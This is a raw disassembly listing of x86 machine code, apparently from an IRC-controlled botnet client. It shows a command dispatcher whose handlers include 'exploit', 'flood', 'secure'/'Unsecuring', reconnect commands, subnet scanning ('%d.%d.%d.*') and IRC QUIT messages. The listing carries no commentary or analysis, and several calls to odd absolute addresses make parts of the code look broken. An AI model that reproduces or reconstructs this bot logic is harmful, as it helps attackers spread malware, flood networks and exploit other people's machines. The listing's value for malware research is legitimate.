		cmp	[ebp+var_8], ebx
		jnz	short loc_403FA2
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403F9A:				; CODE XREF: sub_401AC7+6D9Ej
		call	sub_409862
		add	esp, 14h


loc_403FA2:				; CODE XREF: sub_401AC7+24BDj
					; sub_401AC7+2699j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403FB3:				; CODE XREF: sub_401AC7+1869j
					; sub_401AC7+187Ej
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5B9
		jmp	loc_404243
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401AC7+183Fj
					; sub_401AC7+1854j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416F7A
		jmp	loc_404243
; ---------------------------------------------------------------------------


loc_403FE9:				; CODE XREF: sub_401AC7+1815j
					; sub_401AC7+182Aj
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2690861h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404012
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	edi, eax


loc_404012:				; CODE XREF: sub_401AC7+2540j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40402B
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409643


loc_40402B:				; CODE XREF: sub_401AC7+2559j
		push	ebx
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF50
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE


loc_404068:				; CODE XREF: sub_401AC7+5E21j
		add	esp, 28h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_404070:				; CODE XREF: sub_401AC7+17EBj
					; sub_401AC7+1800j
		push	27h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_4040A1
		cmp	[ebp+var_8], ebx
		jnz	loc_401F6C
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF30


loc_40408E:				; CODE XREF: sub_401AC7+4FD2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040A1:				; CODE XREF: sub_401AC7+25B3j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_404102
		push	esi
		push	offset aFull	; "full"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404102
		mov	[ebp+var_B40], 1


loc_404102:				; CODE XREF: sub_401AC7+261Ej
					; sub_401AC7+262Fj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF0C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419DD9
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_404170


loc_40415A:				; CODE XREF: sub_401AC7+26A7j
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FA2
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_40415A
; ---------------------------------------------------------------------------


loc_404170:				; CODE XREF: sub_401AC7+2691j
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BED0
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_403FA2
; ---------------------------------------------------------------------------


loc_404190:				; CODE XREF: sub_401AC7+17C1j
					; sub_401AC7+17D6j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041AF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4041AF:				; CODE XREF: sub_401AC7+26CCj
		push	[ebp+arg_4]
		call	dword_4C939C
		call	dword_4C925C
		call	sub_418857
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4041CA:				; CODE XREF: sub_401AC7+1797j
					; sub_401AC7+17ACj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF2B
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	offset unk_42BEA0
		jmp	short loc_404222
; ---------------------------------------------------------------------------


loc_4041F5:				; CODE XREF: sub_401AC7+176Dj
					; sub_401AC7+1782j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B1DF
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	offset unk_42BE88


loc_404222:				; CODE XREF: sub_401AC7+2473j
					; sub_401AC7+272Cj
		call	sub_415CEE


loc_404227:				; CODE XREF: sub_401AC7+6E92j
		add	esp, 18h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_40422F:				; CODE XREF: sub_401AC7+1743j
					; sub_401AC7+1758j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415D8E


loc_404243:				; CODE XREF: sub_401AC7+3C5j
					; sub_401AC7+2500j ...
		add	esp, 10h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_40424B:				; CODE XREF: sub_401AC7+1719j
					; sub_401AC7+172Ej
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_40428A
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40428A
		push	esi
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40428A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C100
		add	esp, 10h


loc_40428A:				; CODE XREF: sub_401AC7+278Dj
					; sub_401AC7+2798j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		push	offset dword_42BE70
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E01
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40432A


loc_404314:				; CODE XREF: sub_401AC7+2861j
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F6C
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_404314
; ---------------------------------------------------------------------------


loc_40432A:				; CODE XREF: sub_401AC7+284Bj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42BE38
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_40433B:				; CODE XREF: sub_401AC7+16EFj
					; sub_401AC7+1704j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415C76
		push	offset unk_42BE20
		call	sub_415CEE


loc_404356:				; CODE XREF: sub_401AC7+23E3j
		add	esp, 10h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_40435E:				; CODE XREF: sub_401AC7+16C5j
					; sub_401AC7+16DAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043B8
		push	offset dword_42BE1C
		push	esi
		call	sub_41C7E0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043BE
; ---------------------------------------------------------------------------


loc_4043B8:				; CODE XREF: sub_401AC7+28D5j
		mov	[ebp+var_BD8], ebx


loc_4043BE:				; CODE XREF: sub_401AC7+28EFj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDFC
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset dword_40B418
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40442C


loc_404416:				; CODE XREF: sub_401AC7+2963j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C63
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_404416
; ---------------------------------------------------------------------------


loc_40442C:				; CODE XREF: sub_401AC7+294Dj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42BDC0
		jmp	loc_4090AC
; ---------------------------------------------------------------------------


loc_40443D:				; CODE XREF: sub_401AC7+1649j
					; sub_401AC7+165Ej
		push	offset a1221	; "1221"
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDA8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 20h
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_404474:				; CODE XREF: sub_401AC7+161Fj
					; sub_401AC7+1634j
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD7C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 24h
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_4044B2:				; CODE XREF: sub_401AC7+15F5j
					; sub_401AC7+160Aj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044E4
		cmp	[ebp+var_C], ebx
		jz	short loc_4044F3
		push	esi
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044F3
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 0Ch
		jmp	short loc_4044F3
; ---------------------------------------------------------------------------


loc_4044E4:				; CODE XREF: sub_401AC7+29F4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		pop	ecx
		pop	ecx


loc_4044F3:				; CODE XREF: sub_401AC7+29F9j
					; sub_401AC7+2A08j ...
		push	0FFFFFFFEh
		jmp	loc_401F6E
; ---------------------------------------------------------------------------


loc_4044FA:				; CODE XREF: sub_401AC7+15CBj
					; sub_401AC7+15E0j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset unk_42BD2C
		call	sub_415CEE
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_40451C:				; CODE XREF: sub_401AC7+15A1j
					; sub_401AC7+15B6j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset unk_42BCFC
		call	sub_415CEE
		add	esp, 0Ch
		jmp	loc_4095B3
; ---------------------------------------------------------------------------


loc_40453B:				; CODE XREF: sub_401AC7+1577j
					; sub_401AC7+158Cj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA8E
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_404551:				; CODE XREF: sub_401AC7+154Dj
					; sub_401AC7+1562j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA3A
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_404567:				; CODE XREF: sub_401AC7+1523j
					; sub_401AC7+1538j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9CF
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_40457D:				; CODE XREF: sub_401AC7+14F9j
					; sub_401AC7+150Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B901
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_404593:				; CODE XREF: sub_401AC7+1454j
					; sub_401AC7+1469j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCEC
		push	offset dword_42BCDC
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_4045AB:				; CODE XREF: sub_401AC7+142Aj
					; sub_401AC7+143Fj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCD0
		push	offset dword_42BCC0
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_4045C3:				; CODE XREF: sub_401AC7+1043j
					; sub_401AC7+1058j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045E2
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jz	short loc_4045E2
		push	edi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_4045E7
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_401AC7+2B05j
					; sub_401AC7+2B10j
		mov	eax, dword_429074


loc_4045E7:				; CODE XREF: sub_401AC7+2B19j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_40460C
		push	esi


loc_4045F9:				; CODE XREF: sub_401AC7+2B54j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_404623
; ---------------------------------------------------------------------------


loc_40460C:				; CODE XREF: sub_401AC7+2B2Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_40461D
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045F9
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_401AC7+2B4Bj
		mov	[ebp+var_5A0], bl


loc_404623:				; CODE XREF: sub_401AC7+2B43j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C100
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC98
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset dword_411B8C
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4046D4


loc_4046BE:				; CODE XREF: sub_401AC7+2C0Bj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F6C
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_4046BE
; ---------------------------------------------------------------------------


loc_4046D4:				; CODE XREF: sub_401AC7+2BF5j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset dword_42BC5C
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_4046E5:				; CODE XREF: sub_401AC7+FF0j
					; sub_401AC7+1005j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404705
		push	esi
		call	sub_41BEF9
		test	ax, ax
		pop	ecx
		jz	short loc_404705
		push	esi
		call	sub_41BEF9
		pop	ecx
		jmp	short loc_40470B
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_401AC7+2C27j
					; sub_401AC7+2C33j
		mov	ax, word_429084


loc_40470B:				; CODE XREF: sub_401AC7+2C3Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C100
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC30
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409862
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3AD
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EEEC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4047DA


loc_4047C4:				; CODE XREF: sub_401AC7+2D11j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F6C
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_4047C4
; ---------------------------------------------------------------------------


loc_4047DA:				; CODE XREF: sub_401AC7+2CFBj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42BBF0
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_4047EB:				; CODE XREF: sub_401AC7+F9Cj
					; sub_401AC7+FB1j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404813
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C7E0
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40481D


loc_404813:				; CODE XREF: sub_401AC7+2D33j
		mov	[ebp+var_AA8], 1


loc_40481D:				; CODE XREF: sub_401AC7+2D4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_404864
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_404864:				; CODE XREF: sub_401AC7+2D96j
		push	eax
		push	offset dword_42BBBC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A307
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4048D8


loc_4048C2:				; CODE XREF: sub_401AC7+2E0Fj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_40830C
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_4048C2
; ---------------------------------------------------------------------------


loc_4048D8:				; CODE XREF: sub_401AC7+2DF9j
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset dword_42BB80
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_4048E9:				; CODE XREF: sub_401AC7+F72j
					; sub_401AC7+F87j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41AB97


loc_4048FA:				; CODE XREF: sub_401AC7+2A85j
					; sub_401AC7+2A9Bj ...
		add	esp, 0Ch
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401AC7+F48j
					; sub_401AC7+F5Dj
		push	offset unk_42BB30
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_40490C:				; CODE XREF: sub_401AC7+F1Ej
					; sub_401AC7+F33j
		push	offset aZxvsVrx	; "ZxVs	VRX"
		push	offset dword_42BB20
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_40491B:				; CODE XREF: sub_401AC7+EF4j
					; sub_401AC7+F09j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40497B
		push	esi
		call	sub_41BEF9
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404970
		cmp	eax, 3
		jge	short loc_404970
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_404965
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD5C
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_404965:				; CODE XREF: sub_401AC7+2E7Dj
		push	eax
		push	offset unk_42BAF4
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_404970:				; CODE XREF: sub_401AC7+2E68j
					; sub_401AC7+2E6Dj
		push	eax
		push	offset unk_42BAC8
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_40497B:				; CODE XREF: sub_401AC7+2E5Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404980:				; CODE XREF: sub_401AC7+2ED5j
		push	[ebp+var_90]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049A3
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404980
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_4049A3:				; CODE XREF: sub_401AC7+2EC9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD5C
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_4049BD:				; CODE XREF: sub_401AC7+ECAj
					; sub_401AC7+EDFj
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403433
		call	sub_40B576
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049E3:				; CODE XREF: sub_401AC7+19A4j
		push	offset aGet	; "get"
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A89
		cmp	dword_4CCAC0, ebx
		jz	short loc_404A0F
		push	offset dword_4CC4A0
		push	offset unk_42BA8C
		jmp	loc_404A9B
; ---------------------------------------------------------------------------


loc_404A0F:				; CODE XREF: sub_401AC7+2F37j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_E24]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BA8C
		push	eax
		call	sub_41C006
		add	esp, 20h
		jmp	loc_40348A
; ---------------------------------------------------------------------------


loc_404A89:				; CODE XREF: sub_401AC7+2F2Bj
		push	edi
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404AAF
		push	offset unk_42BA4C


loc_404A9B:				; CODE XREF: sub_401AC7+2F43j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_40348A
; ---------------------------------------------------------------------------


loc_404AAF:				; CODE XREF: sub_401AC7+2FCDj
		push	offset dword_4CC4A0
		call	sub_41C620
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BA20
		push	eax
		mov	dword_4CCAC0, 1
		call	sub_41C006
		add	esp, 14h
		jmp	loc_40348A
; ---------------------------------------------------------------------------


loc_404ADD:				; CODE XREF: sub_401AC7+198Fj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BDA
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C100
		push	offset aF	; "#f"
		lea	eax, [ebp+var_14F8]
		push	esi
		push	eax
		call	sub_41C100
		push	edi
		lea	eax, [ebp+var_1508]
		push	10h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3AD
		add	esp, 3Ch
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset dword_40BB54
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_404BC9


loc_404BB3:				; CODE XREF: sub_401AC7+3100j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_404BB3
; ---------------------------------------------------------------------------


loc_404BC9:				; CODE XREF: sub_401AC7+30EAj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42B9A8
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_404BDA:				; CODE XREF: sub_401AC7+3027j
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095BA
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095BA
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409578
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409578
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B5
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		push	edi
		push	offset aLoad	; "load"
		call	sub_41C7E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CDD
